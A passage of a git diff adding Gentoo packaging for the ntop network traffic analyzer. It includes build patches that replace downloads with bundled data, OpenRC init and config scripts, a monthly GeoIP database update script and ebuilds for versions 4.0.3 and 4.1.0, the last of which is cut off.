+ PWD=`pwd`
+
+ echo
+@@ -1716,18 +1711,6 @@
+ if test ".${ac_cv_lib_GeoIP_GeoIP_record_by_ipnum}" = ".yes"; then
+ LIBS="$LIBS -lGeoIP"
+
+-if test -f "GeoLiteCity.dat"; then
+- echo "GeoLiteCity.dat already present"
+-else
+- if test -f "3rd_party/GeoLiteCity.dat.gz"; then
+- cp 3rd_party/GeoLiteCity.dat.gz .
+- else
+- wget http://www.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
+- fi
+-
+- gunzip GeoLiteCity.dat.gz
+-fi
+-
+ dnl> --------
+
+ if test -f "GeoIPASNum.dat"; then
+@@ -1746,8 +1729,11 @@
+ exit 1
+ fi
+
+-cp "3rd_party/oui.txt.gz" .
+-cp "3rd_party/specialMAC.txt.gz" .
++gunzip 3rd_party/GeoLiteCity.dat.gz &&
++mv "3rd_party/etter.finger.os.gz" . &&
++mv "3rd_party/oui.txt.gz" . &&
++mv "3rd_party/specialMAC.txt.gz" . ||
++ exit 1
+
+ if test -d ./configureextra; then
+
+@@ -1908,7 +1894,6 @@
+ AC_SUBST(SO_VERSION_PATCH)
+ AC_SUBST(RRD_LIB)
+ AC_SUBST(RRD_INC)
+-AC_SUBST(GEO_DIR)
+ AC_SUBST(GETOPT_H)
+ AC_SUBST(GETOPT_C)
+
+--- a/globals-core.c
++++ b/globals-core.c
+@@ -367,7 +367,7 @@
+ _mtuSize[DLT_ATM_RFC1483] = 9180 /* LLC/SNAP encapsulated atm */;
+ _headerSize[DLT_ATM_RFC1483] = 0;
+
+- /* _mtuSize[DLT_RAW] = ? raw IP */
++ _mtuSize[DLT_RAW] = 1500; /* raw IP */
+ _headerSize[DLT_RAW] = 0;
+
+ /* Others defined in bpf.h at tcpdump.org as of the resync - it would be NICE
+@@ -461,19 +461,18 @@
+ struct stat statbuf;
+
+ /* Initialize GeoIP databases */
+- for(i=0; myGlobals.configFileDirs[i] != NULL; i++) {
++ {
+ char path[256];
+
+ safe_snprintf(__FILE__, __LINE__, path, sizeof(path),
+ "%s%c%s",
+- myGlobals.configFileDirs[i],
++ myGlobals.dbPath,
+ CONST_PATH_SEP, GEO_IP_FILE);
+ revertSlashIfWIN32(path, 0);
+
+ if(stat(path, &statbuf) == 0) {
+ if((myGlobals.geo_ip_db = GeoIP_open(path, GEOIP_CHECK_CACHE)) != NULL) {
+ traceEvent(CONST_TRACE_INFO, "GeoIP: loaded config file %s", path);
+- break;
+ }
+ }
+ }
+@@ -482,20 +481,18 @@
+ traceEvent(CONST_TRACE_ERROR, "GeoIP: unable to load file %s", GEO_IP_FILE);
+
+ /* *************************** */
+-
+- for(i=0; myGlobals.configFileDirs[i] != NULL; i++) {
++ {
+ char path[256];
+
+ safe_snprintf(__FILE__, __LINE__, path, sizeof(path),
+ "%s%c%s",
+- myGlobals.configFileDirs[i],
++ myGlobals.dbPath,
+ CONST_PATH_SEP, GEO_IP_ASN_FILE);
+ revertSlashIfWIN32(path, 0);
+
+ if(stat(path, &statbuf) == 0) {
+ if((myGlobals.geo_ip_asn_db = GeoIP_open(path, GEOIP_CHECK_CACHE)) != NULL) {
+ traceEvent(CONST_TRACE_INFO, "GeoIP: loaded ASN config file %s", path);
+- break;
+ }
+ }
+ }
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -36,7 +36,6 @@
+
+ #AM_CFLAGS =
+ #AM_LDFLAGS=
+-ACLOCAL_AMFLAGS=-I m4
+
+ DISTCLEANFILES = trivialcompilemessage *.db #* *~ *.log
+ CLEANFILES = $(DISTCLEANFILES) stamp-h1
+@@ -67,9 +66,7 @@
+ NTOPDATA = ntop-cert.pem \
+ $(ETTER_PASSIVE) \
+ oui.txt.gz \
+- specialMAC.txt.gz \
+- GeoIPASNum.dat \
+- GeoLiteCity.dat
++ specialMAC.txt.gz
+
+ NTOPHTML = html html/*.js html/*.html html/*.gif html/*.jpg html/*.ico html/*.png \
+ html/*.css html/*.dtd \
+@@ -130,7 +127,7 @@
+
+ libntop_la_DEPENDENCIES = config.h
+ libntop_la_LIBADD = $(BASE_LIBS)
+-libntop_la_LDFLAGS = $(AM_LDFLAGS) -release $(VERSION) -export-dynamic @DYN_FLAGS@
++libntop_la_LDFLAGS = $(AM_LDFLAGS) -release $(VERSION) -export-dynamic -shared @DYN_FLAGS@
+
+ # Archive for http representation, or the 'viewer'
+ libntopreport_la_SOURCES = emitter.c globals-report.c graph.c \
+@@ -142,7 +139,7 @@
+
+ libntopreport_la_DEPENDENCIES = libntop.la
+ libntopreport_la_LIBADD = libntop.la $(BASE_LIBS)
+-libntopreport_la_LDFLAGS = $(AM_LDFLAGS) -release $(VERSION) -export-dynamic @DYN_FLAGS@
++libntopreport_la_LDFLAGS = $(AM_LDFLAGS) -release $(VERSION) -export-dynamic -shared @DYN_FLAGS@
+
+ man_MANS = ntop.8
+
+@@ -362,30 +359,7 @@
+
+ # download the vendor information table
+ dnvt:
+- @echo ""
+- @echo ""
+- @echo -n "Preparing "
+- @if test -f oui.txt; then \
+- rm -rf oui.txt; \
+- fi
+- @if test -f oui.txt.gz.old; then \
+- rm -rf oui.txt.gz.old; \
+- fi;
+- @mv oui.txt.gz oui.txt.gz.old
+- @echo "(old oui.txt.gz file is now oui.txt.gz.old)"
+- @echo ""
+- @wget -c http://standards.ieee.org/regauth/oui/oui.txt
+- @gzip oui.txt
+- @echo ""
+- @echo ""
+- @echo -n "Old file lines were: "
+- @gunzip -c oui.txt.gz.old | wc -l
+- @echo -n "New file lines are: "
+- @gunzip -c oui.txt.gz | wc -l
+- @echo ""
+- @echo ""
+- @echo "New file is:"
+- @ls -l oui.txt.gz
++ @echo "Use included oui.txt.gz"
+
+ # download the Novell SAP Protocol information table
+ #dnsapt:
+@@ -393,45 +367,7 @@
+
+ # download the passive ethernet fingerprint database
+ dnetter:
+- @echo ""
+- @echo ""
+- @echo "Preparing "
+- @echo ""
+-
+- @if test -f $(ETTER_PASSIVE).old; then \
+- echo "...Deleting prior file, $(ETTER_PASSIVE).old..."; \
+- rm -rf $(ETTER_PASSIVE).old; \
+- fi;
+- @if test -f $(ETTER_PASSIVE); then \
+- echo "...Moving current $(ETTER_PASSIVE) to $(ETTER_PASSIVE).old"; \
+- mv $(ETTER_PASSIVE) $(ETTER_PASSIVE).old; \
+- fi;
+- @for file in $(ETTER_PASSIVE) $(ETTER_PASSIVE).gz \
+- $(ETTER_PASSIVE_FILE) $(ETTER_PASSIVE_FILE).gz; do \
+- if test -f $$file; then \
+- echo "...Deleting prior file, $$file..."; \
+- rm -rf $$file; \
+- fi; \
+- done
+- @echo ""
+- @echo "...Downloading new file..."
+- @wget -O $(ETTER_PASSIVE_FILE) \
+- $(ETTER_PASSIVE_DOWNLOAD_FROM)/$(ETTER_PASSIVE_FILE)?$(ETTER_PASSIVE_DOWNLOAD_PARMS)
+- @echo ""
+- @echo "gziping downloaded file..."
+- @gzip $(ETTER_PASSIVE_FILE)
+- @echo ""
+- @echo ""
+- @if test -f $(ETTER_PASSIVE).old; then \
+- echo -n "Old file lines were: "; \
+- gunzip -c $(ETTER_PASSIVE).old | wc -l; \
+- fi;
+- @echo -n "New file lines are: "
+- @gunzip -c $(ETTER_PASSIVE) | wc -l
+- @echo ""
+- @echo ""
+- @echo "New file is:"
+- @ls -l $(ETTER_PASSIVE)
++ @echo "Use included $(ETTER_PASSIVE)"
+
+ # ntop census
+ census-fail:
+--- a/report.c
++++ b/report.c
+@@ -2091,7 +2091,7 @@
+ if(fetchPrefsValue("dot.path", buf, sizeof(buf)) != -1) {
+ snprintf(dotPath, sizeof(dotPath), "%s", buf);
+ } else {
+- snprintf(dotPath, sizeof(dotPath), "/usr/local/bin/dot");
++ snprintf(dotPath, sizeof(dotPath), "/usr/bin/dot");
+ storePrefsValue("dot.path", dotPath); /* Set the default */
+ }
+
diff --git a/net-analyzer/ntop/files/ntop-5.0.1-INCS.patch b/net-analyzer/ntop/files/ntop-5.0.1-INCS.patch
new file mode 100644
index 000000000000..de49a41d7175
--- /dev/null
+++ b/net-analyzer/ntop/files/ntop-5.0.1-INCS.patch
@@ -0,0 +1,27 @@
+--- a/configure
++++ b/configure
+@@ -18983,7 +18983,7 @@
+ else
+ LIBS="${LIBS} ${PYTHON_LIBS}"
+
+- PYTHON_INCS=`$PYTHON_CONFIG --cflags | sed -e "s/-arch i386//" | sed -e "s/-arch ppc//" | sed -e "s/-arch x86_64//"`
++ PYTHON_INCS=`$PYTHON_CONFIG --includes | sed -e "s/-arch i386//" | sed -e "s/-arch ppc//" | sed -e "s/-arch x86_64//"`
+
+ INCS="${INCS} ${PYTHON_INCS}"
+
+@@ -19335,15 +19335,6 @@
+ for(i=NF; i>0; i--) { \
+ if ($i in fields) { } else { fields[$i]="."; out[i]=$i } \
+ } \
+- for(i=1; i<=NF; i++) { \
+- if (i in out) { printf("%s ", out[i]) } \
+- } \
+- print "" \
+- }'`
+- INCS=`echo ${INCS} | ${ac_cv_prog_AWK} '{ \
+- for(i=NF; i>0; i--) { \
+- if ($i in fields) { } else { fields[$i]="."; out[i]=$i } \
+- } \
+ for(i=1; i<=NF; i++) { \
+ if (i in out) { printf("%s ", out[i]) } \
+ } \
diff --git a/net-analyzer/ntop/files/ntop-5.0.1-gentoo.patch b/net-analyzer/ntop/files/ntop-5.0.1-gentoo.patch
new file mode 100644
index 000000000000..57f136971cfc
--- /dev/null
+++ b/net-analyzer/ntop/files/ntop-5.0.1-gentoo.patch
@@ -0,0 +1,240 @@
+--- a/configure.in
++++ b/configure.in
+@@ -469,11 +469,6 @@
+ LOCALEDIR="/usr/lib/locale"
+ fi
+
+-dnl> Add /usr/local/ /opt/local
+-CFLAGS="${CFLAGS} -I/usr/local/include -I/opt/local/include"
+-CPPFLAGS="${CPPFLAGS} -I/usr/local/include -I/opt/local/include"
+-LDFLAGS="${LDFLAGS} -L/usr/local/lib -L/opt/local/lib"
+-
+ PWD=`pwd`
+
+ echo
+@@ -1739,18 +1734,6 @@
+ if test ".${ac_cv_lib_GeoIP_GeoIP_record_by_ipnum}" = ".yes"; then
+ LIBS="$LIBS -lGeoIP"
+
+-if test -f "GeoLiteCity.dat"; then
+- echo "GeoLiteCity.dat already present"
+-else
+- if test -f "3rd_party/GeoLiteCity.dat.gz"; then
+- cp 3rd_party/GeoLiteCity.dat.gz .
+- else
+- wget http://www.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
+- fi
+-
+- gunzip GeoLiteCity.dat.gz
+-fi
+-
+ dnl> --------
+
+ if test -f "GeoIPASNum.dat"; then
+@@ -1769,8 +1752,11 @@
+ exit 1
+ fi
+
+-cp "3rd_party/oui.txt.gz" .
+-cp "3rd_party/specialMAC.txt.gz" .
++gunzip 3rd_party/GeoLiteCity.dat.gz &&
++mv "3rd_party/etter.finger.os.gz" . &&
++mv "3rd_party/oui.txt.gz" . &&
++mv "3rd_party/specialMAC.txt.gz" . ||
++ exit 1
+
+ if test -d ./configureextra; then
+
+@@ -1931,7 +1917,6 @@
+ AC_SUBST(SO_VERSION_PATCH)
+ AC_SUBST(RRD_LIB)
+ AC_SUBST(RRD_INC)
+-AC_SUBST(GEO_DIR)
+ AC_SUBST(GETOPT_H)
+ AC_SUBST(GETOPT_C)
+ AC_SUBST(NDPI_LIB)
+--- a/globals-core.c
++++ b/globals-core.c
+@@ -369,7 +369,7 @@
+ _mtuSize[DLT_ATM_RFC1483] = 9180 /* LLC/SNAP encapsulated atm */;
+ _headerSize[DLT_ATM_RFC1483] = 0;
+
+- /* _mtuSize[DLT_RAW] = ? raw IP */
++ _mtuSize[DLT_RAW] = 1500; /* raw IP */
+ _headerSize[DLT_RAW] = 0;
+
+ /* Others defined in bpf.h at tcpdump.org as of the resync - it would be NICE
+@@ -470,19 +470,18 @@
+ struct stat statbuf;
+
+ /* Initialize GeoIP databases */
+- for(i=0; myGlobals.configFileDirs[i] != NULL; i++) {
++ {
+ char path[256];
+
+ safe_snprintf(__FILE__, __LINE__, path, sizeof(path),
+ "%s%c%s",
+- myGlobals.configFileDirs[i],
++ myGlobals.dbPath,
+ CONST_PATH_SEP, GEO_IP_FILE);
+ revertSlashIfWIN32(path, 0);
+
+ if(stat(path, &statbuf) == 0) {
+ if((myGlobals.geo_ip_db = GeoIP_open(path, GEOIP_CHECK_CACHE)) != NULL) {
+ traceEvent(CONST_TRACE_INFO, "GeoIP: loaded config file %s", path);
+- break;
+ }
+ }
+ }
+@@ -491,20 +490,18 @@
+ traceEvent(CONST_TRACE_ERROR, "GeoIP: unable to load file %s", GEO_IP_FILE);
+
+ /* *************************** */
+-
+- for(i=0; myGlobals.configFileDirs[i] != NULL; i++) {
++ {
+ char path[256];
+
+ safe_snprintf(__FILE__, __LINE__, path, sizeof(path),
+ "%s%c%s",
+- myGlobals.configFileDirs[i],
++ myGlobals.dbPath,
+ CONST_PATH_SEP, GEO_IP_ASN_FILE);
+ revertSlashIfWIN32(path, 0);
+
+ if(stat(path, &statbuf) == 0) {
+ if((myGlobals.geo_ip_asn_db = GeoIP_open(path, GEOIP_CHECK_CACHE)) != NULL) {
+ traceEvent(CONST_TRACE_INFO, "GeoIP: loaded ASN config file %s", path);
+- break;
+ }
+ }
+ }
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -36,7 +36,6 @@
+
+ #AM_CFLAGS =
+ #AM_LDFLAGS=
+-ACLOCAL_AMFLAGS=-I m4
+
+ DISTCLEANFILES = trivialcompilemessage *.db #* *~ *.log
+ CLEANFILES = $(DISTCLEANFILES) stamp-h1
+@@ -67,9 +66,7 @@
+ NTOPDATA = ntop-cert.pem \
+ $(ETTER_PASSIVE) \
+ oui.txt.gz \
+- specialMAC.txt.gz \
+- GeoIPASNum.dat \
+- GeoLiteCity.dat
++ specialMAC.txt.gz
+
+ NTOPHTML = html html/*.js html/*.html html/*.gif html/*.jpg html/*.ico html/*.png \
+ html/*.css html/*.dtd \
+@@ -133,7 +130,7 @@
+
+ libntop_la_DEPENDENCIES = config.h
+ libntop_la_LIBADD = $(BASE_LIBS)
+-libntop_la_LDFLAGS = $(AM_LDFLAGS) -release $(VERSION) -export-dynamic @DYN_FLAGS@
++libntop_la_LDFLAGS = $(AM_LDFLAGS) -release $(VERSION) -export-dynamic -shared @DYN_FLAGS@
+
+ # Archive for http representation, or the 'viewer'
+ libntopreport_la_SOURCES = emitter.c globals-report.c graph.c \
+@@ -145,7 +142,7 @@
+
+ libntopreport_la_DEPENDENCIES = libntop.la
+ libntopreport_la_LIBADD = libntop.la $(BASE_LIBS)
+-libntopreport_la_LDFLAGS = $(AM_LDFLAGS) -release $(VERSION) -export-dynamic @DYN_FLAGS@
++libntopreport_la_LDFLAGS = $(AM_LDFLAGS) -release $(VERSION) -export-dynamic -shared @DYN_FLAGS@
+
+ man_MANS = ntop.8
+
+@@ -367,30 +364,7 @@
+
+ # download the vendor information table
+ dnvt:
+- @echo ""
+- @echo ""
+- @echo -n "Preparing "
+- @if test -f oui.txt; then \
+- rm -rf oui.txt; \
+- fi
+- @if test -f oui.txt.gz.old; then \
+- rm -rf oui.txt.gz.old; \
+- fi;
+- @mv oui.txt.gz oui.txt.gz.old
+- @echo "(old oui.txt.gz file is now oui.txt.gz.old)"
+- @echo ""
+- @wget -c http://standards.ieee.org/regauth/oui/oui.txt
+- @gzip oui.txt
+- @echo ""
+- @echo ""
+- @echo -n "Old file lines were: "
+- @gunzip -c oui.txt.gz.old | wc -l
+- @echo -n "New file lines are: "
+- @gunzip -c oui.txt.gz | wc -l
+- @echo ""
+- @echo ""
+- @echo "New file is:"
+- @ls -l oui.txt.gz
++ @echo "Use included oui.txt.gz"
+
+ # download the Novell SAP Protocol information table
+ #dnsapt:
+@@ -398,45 +372,7 @@
+
+ # download the passive ethernet fingerprint database
+ dnetter:
+- @echo ""
+- @echo ""
+- @echo "Preparing "
+- @echo ""
+-
+- @if test -f $(ETTER_PASSIVE).old; then \
+- echo "...Deleting prior file, $(ETTER_PASSIVE).old..."; \
+- rm -rf $(ETTER_PASSIVE).old; \
+- fi;
+- @if test -f $(ETTER_PASSIVE); then \
+- echo "...Moving current $(ETTER_PASSIVE) to $(ETTER_PASSIVE).old"; \
+- mv $(ETTER_PASSIVE) $(ETTER_PASSIVE).old; \
+- fi;
+- @for file in $(ETTER_PASSIVE) $(ETTER_PASSIVE).gz \
+- $(ETTER_PASSIVE_FILE) $(ETTER_PASSIVE_FILE).gz; do \
+- if test -f $$file; then \
+- echo "...Deleting prior file, $$file..."; \
+- rm -rf $$file; \
+- fi; \
+- done
+- @echo ""
+- @echo "...Downloading new file..."
+- @wget -O $(ETTER_PASSIVE_FILE) \
+- $(ETTER_PASSIVE_DOWNLOAD_FROM)/$(ETTER_PASSIVE_FILE)?$(ETTER_PASSIVE_DOWNLOAD_PARMS)
+- @echo ""
+- @echo "gziping downloaded file..."
+- @gzip $(ETTER_PASSIVE_FILE)
+- @echo ""
+- @echo ""
+- @if test -f $(ETTER_PASSIVE).old; then \
+- echo -n "Old file lines were: "; \
+- gunzip -c $(ETTER_PASSIVE).old | wc -l; \
+- fi;
+- @echo -n "New file lines are: "
+- @gunzip -c $(ETTER_PASSIVE) | wc -l
+- @echo ""
+- @echo ""
+- @echo "New file is:"
+- @ls -l $(ETTER_PASSIVE)
++ @echo "Use included $(ETTER_PASSIVE)"
+
+ # ntop census
+ census-fail:
+--- a/report.c
++++ b/report.c
+@@ -2299,7 +2299,7 @@
+ if(fetchPrefsValue("dot.path", buf, sizeof(buf)) != -1) {
+ snprintf(dotPath, sizeof(dotPath), "%s", buf);
+ } else {
+- snprintf(dotPath, sizeof(dotPath), "/usr/local/bin/dot");
++ snprintf(dotPath, sizeof(dotPath), "/usr/bin/dot");
+ storePrefsValue("dot.path", dotPath); /* Set the default */
+ }
+
diff --git a/net-analyzer/ntop/files/ntop-5.0.1-includes.patch b/net-analyzer/ntop/files/ntop-5.0.1-includes.patch
new file mode 100644
index 000000000000..fcd5f28d3491
--- /dev/null
+++ b/net-analyzer/ntop/files/ntop-5.0.1-includes.patch
@@ -0,0 +1,20 @@
+--- a/nDPI/src/lib/protocols/netflow.c
++++ b/nDPI/src/lib/protocols/netflow.c
+@@ -19,6 +19,7 @@
+
+
+ #include "ipq_utils.h"
++#include <time.h> /* time() */
+
+ #ifdef NTOP_PROTOCOL_NETFLOW
+
+--- a/nDPI/src/lib/protocols/ssl.c
++++ b/nDPI/src/lib/protocols/ssl.c
+@@ -22,6 +22,7 @@
+
+
+ #include "ipq_utils.h"
++#include <ctype.h> /* isalpha() isdigit() ... */
+
+ #ifdef IPOQUE_PROTOCOL_SSL
+
diff --git a/net-analyzer/ntop/files/ntop-confd b/net-analyzer/ntop/files/ntop-confd
new file mode 100644
index 000000000000..352a26fa9b1c
--- /dev/null
+++ b/net-analyzer/ntop/files/ntop-confd
@@ -0,0 +1,9 @@
+# Config file for /etc/init.d/ntop
+
+# Set preferred options here
+#NTOP_OPTS="--http-server 3000 --https-server 0 --interface eth0"
+
+# suggestions from bug #136983 (use it in case you experience ntop hangs)
+#NTOP_OPTS="u ntop -P /var/lib/ntop --disable-schedyield --http-server 3000 --https-server 3001"
+
+NTOP_OPTS="-u ntop -P /var/lib/ntop"
diff --git a/net-analyzer/ntop/files/ntop-initd b/net-analyzer/ntop/files/ntop-initd
new file mode 100644
index 000000000000..ffc2923790df
--- /dev/null
+++ b/net-analyzer/ntop/files/ntop-initd
@@ -0,0 +1,30 @@
+#!/sbin/runscript
+# Copyright 1999-2007 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+
+depend() {
+ need net
+}
+
+checkconfig() {
+ if [ ! -e /var/lib/ntop/ntop_pw.db ]; then
+ eerror "You need to set a password first by running"
+ eerror "ntop --set-admin-password"
+ return 1
+ fi
+}
+
+start() {
+ checkconfig || return 1
+ ebegin "Starting ntop"
+ export LC_ALL=C # apparently doesn't work with some locales (#191576 and #205382)
+ export GDFONTPATH=/usr/share/fonts/corefonts # apparently the only font that works (#231705)
+ start-stop-daemon --start --exec /usr/bin/ntop -- -d -L ${NTOP_OPTS}
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping ntop"
+ start-stop-daemon --stop --retry 30 --pidfile /var/run/ntop.pid
+ eend $?
+}
diff --git a/net-analyzer/ntop/files/ntop-initd-r1 b/net-analyzer/ntop/files/ntop-initd-r1
new file mode 100644
index 000000000000..1f685d0ee733
--- /dev/null
+++ b/net-analyzer/ntop/files/ntop-initd-r1
@@ -0,0 +1,25 @@
+#!/sbin/runscript
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+description="ntop - a network traffic analyzer"
+pidfile="/run/ntop.pid"
+command="/usr/bin/ntop"
+command_args="-L ${NTOP_OPTS}"
+start_stop_daemon_args="-p ${pidfile} -m -b"
+
+depend() {
+ need net
+}
+
+start_pre() {
+ if [ ! -e /var/lib/ntop/ntop_pw.db ] ; then
+ eerror "You need to set a password first by running"
+ eerror "ntop --set-admin-password"
+ return 1
+ fi
+
+ export LC_ALL=C # apparently doesn't work with some locales (#191576 and #205382)
+ export GDFONTPATH=/usr/share/fonts/corefonts # apparently the only font that works (#231705)
+}
diff --git a/net-analyzer/ntop/files/ntop-update-geoip-db b/net-analyzer/ntop/files/ntop-update-geoip-db
new file mode 100644
index 000000000000..2bf3faaf68cb
--- /dev/null
+++ b/net-analyzer/ntop/files/ntop-update-geoip-db
@@ -0,0 +1,21 @@
+#!/bin/sh
+
+BASE_URL=http://geolite.maxmind.com/download/geoip/database
+
+echo "Updating NTOP GeoIP databases..."
+
+cd /var/lib/ntop || exit
+
+for u in asnum/GeoIPASNum.dat.gz GeoLiteCity.dat.gz ; do
+ FILE_GZ=${u#*/}
+ FILE=${FILE_GZ%.gz}
+ wget -nv -O ${FILE_GZ} ${BASE_URL}/${u} &&
+ gunzip < ${FILE_GZ} > .${FILE} &&
+ mv -f .${FILE} ${FILE} &&
+ rm -f ${FILE_GZ} ||
+ exit
+done
+
+/etc/init.d/ntop --quiet status && /etc/init.d/ntop restart
+
+echo "NTOP GeoIP databases were successfully updated"
diff --git a/net-analyzer/ntop/metadata.xml b/net-analyzer/ntop/metadata.xml
new file mode 100644
index 000000000000..bea1d84c9d50
--- /dev/null
+++ b/net-analyzer/ntop/metadata.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>ntop is a network traffic probe that shows the network usage,
+ similar to what the popular top Unix command does. ntop is based on libpcap
+ and it has been written in a portable way in order to virtually run on every
+ Unix platform and on Win32 as well.
+ ntop users can use a a web browser (e.g. netscape) to navigate through ntop
+ (that acts as a web server) traffic information and get a dump of the network
+ status. In the latter case, ntop can be seen as a simple RMON-like agent with an
+ embedded web interface.</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">ntop</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/ntop/ntop-4.0.3.ebuild b/net-analyzer/ntop/ntop-4.0.3.ebuild
new file mode 100644
index 000000000000..04220a638c36
--- /dev/null
+++ b/net-analyzer/ntop/ntop-4.0.3.ebuild
@@ -0,0 +1,126 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="2"
+
+inherit autotools eutils user
+
+DESCRIPTION="Network traffic analyzer with web interface"
+HOMEPAGE="http://www.ntop.org/products/ntop/"
+SRC_URI="mirror://sourceforge/ntop/${P}.tgz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="amd64 arm hppa ia64 ppc ppc64 s390 sh sparc x86"
+IUSE="ipv6 ssl"
+#snmp support is disabled
+
+#snmp? ( net-analyzer/net-snmp )
+COMMON_DEPEND="virtual/awk
+ dev-lang/perl
+ sys-libs/gdbm
+ dev-libs/libevent
+ net-libs/libpcap
+ media-libs/gd
+ media-libs/libpng
+ net-analyzer/rrdtool[graph]
+ ssl? ( dev-libs/openssl )
+ sys-libs/zlib
+ >=dev-libs/geoip-1.4.5
+ >=dev-lang/lua-5.1.4"
+DEPEND="${COMMON_DEPEND}
+ >=sys-devel/libtool-1.4"
+
+# Needed by xmldumpPlugin - couldn't get it to work
+# dev-libs/gdome2
+# >=dev-libs/glib-2"
+RDEPEND="${COMMON_DEPEND}
+ media-fonts/corefonts
+ media-gfx/graphviz
+ net-misc/wget
+ app-arch/gzip"
+
+pkg_setup() {
+ # snmp doesn't compile in this release, disabled for now
+ #if use snmp ; then
+ # ewarn "snmp plugin is under development and upstream does not recommend"
+ # ewarn "it for usage in production environment."
+ # if ! use ipv6 ; then
+ # echo
+ # eerror "snmp plugin has compilation problems without ipv6 support."
+ # eerror "For additional information see bug #121497."
+ # die "snmp without ipv6 is broken"
+ # else
+ # if ! built_with_use net-analyzer/net-snmp ipv6 ; then
+ # echo
+ # eerror "You have both ipv6 and snmp enabled."
+ # eerror "This require ipv6 support in net-analyzer/net-snmp."
+ # eerror "However, net-analyzer/net-snmp was compiled with ipv6 flag disabled."
+ # eerror "Please, re-emerge net-analyzer/net-snmp with USE=\"ipv6\"."
+ # die "net-analyzer/net-snmp was build without ipv6."
+ # fi
+ # fi
+ #fi
+
+ enewgroup ntop
+ enewuser ntop -1 -1 /var/lib/ntop ntop
+}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-gentoo.patch
+ cat acinclude.m4.in acinclude.m4.ntop > acinclude.m4
+ eautoreconf
+}
+
+src_configure() {
+ # force disable xmldumpPlugin
+ export \
+ ac_cv_header_glib_h=no \
+ ac_cv_header_glibconfig_h=no \
+ ac_cv_header_gdome_h=no \
+ ac_cv_lib_glib_g_date_julian=no \
+ ac_cv_lib_xml2_xmlCheckVersion=no \
+ ac_cv_lib_gdome_gdome_di_saveDocToFile=no
+
+ econf \
+ $(use_enable ipv6) \
+ $(use_with ssl) \
+ --with-rrd-home=/usr/lib \
+ --disable-snmp \
+ || die "configure problem"
+ # $(use_enable snmp)
+}
+
+src_install() {
+ LC_ALL=C # apparently doesn't work with some locales (#191576 and #205382)
+ emake DESTDIR="${D}" install || die "install problem"
+
+ keepdir /var/lib/ntop &&
+ fowners ntop:ntop /var/lib/ntop &&
+ fperms 750 /var/lib/ntop ||
+ die "failed to prepare /var/lib/ntop dir"
+ insinto /var/lib/ntop
+ local f
+ for f in GeoIPASNum.dat GeoLiteCity.dat; do
+ # Don't install included GeoIP files if newer versions are available
+ [ -f "${ROOT}/var/lib/ntop/${f}" ] ||
+ doins "3rd_party/${f}" ||
+ die "failed to install ${f}"
+ done
+
+ dodoc AUTHORS CONTENTS ChangeLog MANIFESTO NEWS
+ dodoc PORTING README SUPPORT_NTOP.txt THANKS $(find docs -type f)
+
+ newinitd "${FILESDIR}"/ntop-initd ntop
+ newconfd "${FILESDIR}"/ntop-confd ntop
+
+ exeinto /etc/cron.monthly
+ doexe "${FILESDIR}"/ntop-update-geoip-db
+}
+
+pkg_postinst() {
+ elog "If this is the first time you install ntop, you need to run"
+ elog "following command before starting ntop service:"
+ elog " ntop --set-admin-password"
+}
diff --git a/net-analyzer/ntop/ntop-4.1.0.ebuild b/net-analyzer/ntop/ntop-4.1.0.ebuild
new file mode 100644
index 000000000000..7581432d90b0
--- /dev/null
+++ b/net-analyzer/ntop/ntop-4.1.0.ebuild
@@ -0,0 +1,102 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="2"
+
+inherit autotools eutils user
+
+DESCRIPTION="Network traffic analyzer with web interface"
+HOMEPAGE="http://www.ntop.org/products/ntop/"
+SRC_URI="mirror://sourceforge/ntop/ntop/Stable/${P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~hppa ~ia64 ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86"
+IUSE="snmp ssl"
+
+COMMON_DEPEND="
+ virtual/awk
+ dev-lang/perl
+ sys-libs/gdbm
+ dev-libs/libevent
+ net-libs/libpcap
+ media-libs/gd
+ media-libs/libpng
+ net-analyzer/rrdtool[graph]
+ ssl? ( dev-libs/openssl )
+ sys-libs/zlib
+ dev-libs/geoip
+ dev-lang/lua
+ snmp? ( net-analyzer/net-snmp[ipv6] )"
+DEPEND="${COMMON_DEPEND}
+ >=sys-devel/libtool-1.5.26"
+RDEPEND="${COMMON_DEPEND}
+ media-fonts/corefonts
+ media-gfx/graphviz
+ net-misc/wget
+ app-arch/gzip
+ dev-libs/glib:2
+ dev-python/mako"
+
+pkg_setup() {
+ enewgroup ntop
+ enewuser ntop -1 -1 /var/lib/ntop ntop
+}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-gentoo.patch
+ cp /usr/share/aclocal/libtool.m4 libtool.m4.in
+ cat acinclude.m4.in libtool.m4.in acinclude.m4.ntop > acinclude.m4
+ eautoreconf
+}
+
+src_configure() {
+ export \
+ ac_cv_header_glib_h=no \
+ ac_cv_header_glibconfig_h=no \
+ ac_cv_header_gdome_h=no \
+ ac_cv_lib_glib_g_date_julian=no \
+ ac_cv_lib_xml2_xmlCheckVersion=no \
+ ac_cv_lib_gdome_gdome_di_saveDocToFile=no
+
+ econf \
+ $(use_enable snmp) \
+ $(use_with ssl) \
+ --with-rrd-home=/usr/lib \
+ || die "configure problem"
+}
+
+src_install() {
+ LC_ALL=C # apparently doesn't work with some locales (#191576 and #205382)
+ emake DESTDIR="${D}" install || die "install problem"
+
+ keepdir /var/lib/ntop &&
+ fowners ntop:ntop /var/lib/ntop &&
+ fperms 750 /var/lib/ntop ||
